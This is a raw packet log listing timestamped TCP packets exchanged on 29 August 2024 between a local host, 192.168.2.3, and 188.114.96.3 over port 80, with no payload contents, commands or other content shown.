Aug 29, 2024 12:14:38.611640930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611644983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611668110 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611701965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611710072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611721039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611731052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611746073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611777067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611780882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611793995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611804962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611823082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611829996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611840963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611845970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611864090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611902952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611959934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611972094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611982107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611999989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612023115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612035036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612046003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612056971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612057924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612077951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612104893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612157106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612169027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612179995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612191916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612201929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612238884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612257004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612267017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612278938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612291098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612292051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612368107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612375975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612389088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612401962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612413883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612425089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612437963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612437963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612467051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612502098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612513065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612524033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612536907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612549067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612549067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612571001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612601042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612879038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612941027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612931967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612953901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612982988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.612984896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.612998962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613012075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613022089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613042116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613050938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613071918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613080025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613085985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613101006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613112926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613131046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613154888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613181114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613193989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613226891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613233089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613238096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613250017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613271952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613285065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613301992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613312006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613348007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613359928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613399982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613429070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613441944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613451958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613476992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613498926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613503933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613548994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613567114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613578081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613595009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613605976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613612890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613616943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613635063 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613637924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613658905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613675117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613708973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613720894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613751888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613787889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613801956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613812923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613825083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613832951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613848925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613871098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613878965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613886118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613907099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613918066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613936901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613954067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613966942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.613976955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.613996029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614026070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614038944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614048958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614070892 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614097118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614110947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614129066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614140034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614162922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614178896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614218950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614231110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614243031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614263058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614288092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614317894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614330053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614340067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614352942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.614373922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.614399910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.701241016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701409101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701421022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701442957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701459885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701471090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701482058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701492071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701509953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701520920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701530933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701540947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701553106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701559067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.701562881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701576948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701586008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.701608896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.701630116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702636003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702663898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702676058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702703953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702723026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702744961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702756882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702770948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702783108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702790976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702819109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702877998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702891111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702902079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702919006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702919960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702933073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.702936888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.702966928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703094959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703109026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703119993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703130960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703141928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703152895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703162909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703166008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703166008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703175068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703186989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703195095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703197956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703206062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703217983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703248024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703397036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703409910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703421116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703433037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703443050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703444958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703460932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703469992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703486919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703509092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703522921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703533888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703545094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703557014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703562975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703569889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703583002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703589916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703607082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703639030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703660965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703675032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703685999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703697920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703704119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703715086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703726053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703737020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703743935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703753948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703772068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703783035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703794003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703804016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703816891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703828096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703828096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703829050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703843117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.703856945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.703876972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704013109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704060078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704070091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704107046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704123020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704133987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704144001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704154968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704165936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704176903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704196930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704207897 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704266071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704277039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704287052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704298019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704308987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704309940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704320908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704334974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704363108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704380035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704391956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704427958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704509020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704519987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704529047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704539061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704554081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704562902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704572916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704583883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704586983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704607010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704612970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704619884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704624891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704636097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704643011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704647064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704659939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704683065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704803944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704814911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704826117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704837084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704848051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704849005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704862118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704864025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704888105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704915047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704932928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704943895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704953909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704973936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.704978943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.704994917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705004930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705017090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705025911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705032110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705037117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705045938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705049992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705060005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705070972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705081940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705095053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705218077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705229998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705240011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705260992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705287933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705291033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705302954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705313921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705326080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705332994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705338001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705359936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705377102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705480099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705491066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705501080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705513000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705523014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.705523014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.705559969 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793488026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793519020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793533087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793544054 CEST	80	62660	188.114.96.3	192.168.2.3
